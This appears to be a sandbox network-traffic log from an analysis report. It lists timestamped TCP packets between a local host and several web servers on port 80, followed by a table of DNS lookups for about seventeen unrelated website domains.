Oct 25, 2024 11:18:20.102526903 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102539062 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102556944 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102570057 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102591038 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102636099 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102643013 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102686882 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102694988 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102742910 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102746010 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102783918 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102794886 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102838039 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102844954 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102880001 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102886915 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102912903 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102920055 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102942944 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102957010 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102982998 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102993011 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103025913 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103033066 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103063107 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103091955 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103125095 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103138924 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103163958 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103188992 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103189945 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103239059 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103271008 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103283882 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103305101 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103319883 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103352070 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103352070 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103394985 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103455067 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103496075 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103504896 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103538036 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103538036 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103573084 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103578091 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103614092 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103622913 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103657007 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103662968 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103688955 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103701115 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103729010 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103734970 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103768110 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103780031 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103804111 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103811979 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103837013 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103841066 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103874922 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103874922 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103908062 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103919029 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103941917 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103951931 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.103975058 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.103979111 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104015112 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.104026079 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104051113 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.104057074 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104084969 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.104095936 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104118109 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.104130030 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104152918 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.104155064 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104186058 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.104190111 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104219913 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.104228973 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.104259968 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.109663010 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.109697104 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.109730959 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.109807968 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.109807968 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.109826088 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.109874010 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.109927893 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.109961033 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.109987020 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.109993935 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.110013008 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.110028028 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.110043049 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.110065937 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.110070944 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.110145092 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.114022017 CEST	53073	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:18:20.114296913 CEST	53074	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:20.119441032 CEST	80	53073	64.125.133.18	192.168.2.5
Oct 25, 2024 11:18:20.119606018 CEST	80	53074	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:20.119685888 CEST	53073	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:18:20.119796991 CEST	53074	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:20.119797945 CEST	53074	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:20.119843006 CEST	53073	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:18:20.125164032 CEST	80	53074	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:20.125274897 CEST	80	53073	64.125.133.18	192.168.2.5
Oct 25, 2024 11:18:20.168323994 CEST	53075	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:20.170943022 CEST	80	52954	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:20.170995951 CEST	52954	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:20.173609972 CEST	80	53075	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:20.173759937 CEST	53075	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:20.173836946 CEST	53075	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:20.179240942 CEST	80	53075	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:20.180733919 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180763960 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180813074 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180840969 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.180845976 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180867910 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.180879116 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180893898 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.180912971 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180933952 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.180944920 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180979013 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.180984974 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181011915 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181025028 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181054115 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181078911 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181119919 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181140900 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181185007 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181190968 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181225061 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181233883 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181256056 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181257010 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181303024 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181305885 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181350946 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181356907 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181390047 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181401014 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181425095 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181430101 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181458950 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181461096 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181497097 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181509972 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181550980 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181551933 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181583881 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181596041 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181618929 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181629896 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181658030 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181667089 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181710958 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181719065 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181751013 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181761026 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181785107 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181792021 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181818008 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181824923 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181859016 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181866884 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181905031 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181915998 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181948900 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181963921 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.181981087 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.181991100 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182014942 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182023048 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182050943 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182058096 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182084084 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182095051 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182116985 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182126999 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182151079 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182158947 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182198048 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182245970 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182296991 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182326078 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182339907 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182358980 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182377100 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182404995 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182409048 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182418108 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182442904 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182476997 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182491064 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182511091 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182522058 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182544947 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182549953 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182579994 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182589054 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182610035 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.182621956 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.182651043 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238511086 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238564968 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238615036 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238645077 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238676071 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238684893 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238738060 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238765001 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238770962 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238794088 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238806009 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238820076 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238853931 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238887072 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238898993 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238922119 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.238935947 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.238987923 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239021063 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239022970 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239046097 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239054918 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239062071 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239104033 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239105940 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239151955 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239157915 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239197969 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239207029 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239242077 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239253044 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239275932 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239283085 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239310026 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239319086 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239362955 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239396095 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239407063 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239424944 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239447117 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239470005 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239476919 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239520073 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239527941 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239559889 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239566088 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239593983 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239605904 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239626884 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239638090 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239661932 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239670038 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239696026 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239707947 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239737988 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239746094 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239778042 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239809036 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239820957 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239841938 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239850044 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239885092 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239893913 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239933014 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.239945889 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239979029 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.239989996 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240011930 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240017891 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240046024 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240051031 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240078926 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240087032 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240113974 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240120888 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240148067 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240164995 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240215063 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240262985 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240294933 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240294933 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240294933 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240326881 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240330935 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240340948 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240364075 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240376949 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.240398884 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240432024 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.240443945 CEST	53045	80	192.168.2.5	104.26.10.81

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 11:17:31.013942957 CEST	192.168.2.5	1.1.1.1	0x741b	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.016377926 CEST	192.168.2.5	1.1.1.1	0x792e	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.019449949 CEST	192.168.2.5	1.1.1.1	0xcd03	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.020366907 CEST	192.168.2.5	1.1.1.1	0xf04e	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.026269913 CEST	192.168.2.5	1.1.1.1	0x9a11	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.027704000 CEST	192.168.2.5	1.1.1.1	0x542c	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.028949976 CEST	192.168.2.5	1.1.1.1	0x6559	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.029508114 CEST	192.168.2.5	1.1.1.1	0xaf1f	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.030903101 CEST	192.168.2.5	1.1.1.1	0x5d71	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:31.032407045 CEST	192.168.2.5	1.1.1.1	0xacb8	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.018083096 CEST	192.168.2.5	1.1.1.1	0xf04e	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.055883884 CEST	192.168.2.5	1.1.1.1	0x6d9e	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.064623117 CEST	192.168.2.5	1.1.1.1	0xa144	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.228729010 CEST	192.168.2.5	1.1.1.1	0x2d2a	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.399930954 CEST	192.168.2.5	1.1.1.1	0x2454	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.403589010 CEST	192.168.2.5	1.1.1.1	0xf0ca	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:32.990462065 CEST	192.168.2.5	1.1.1.1	0xd30c	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
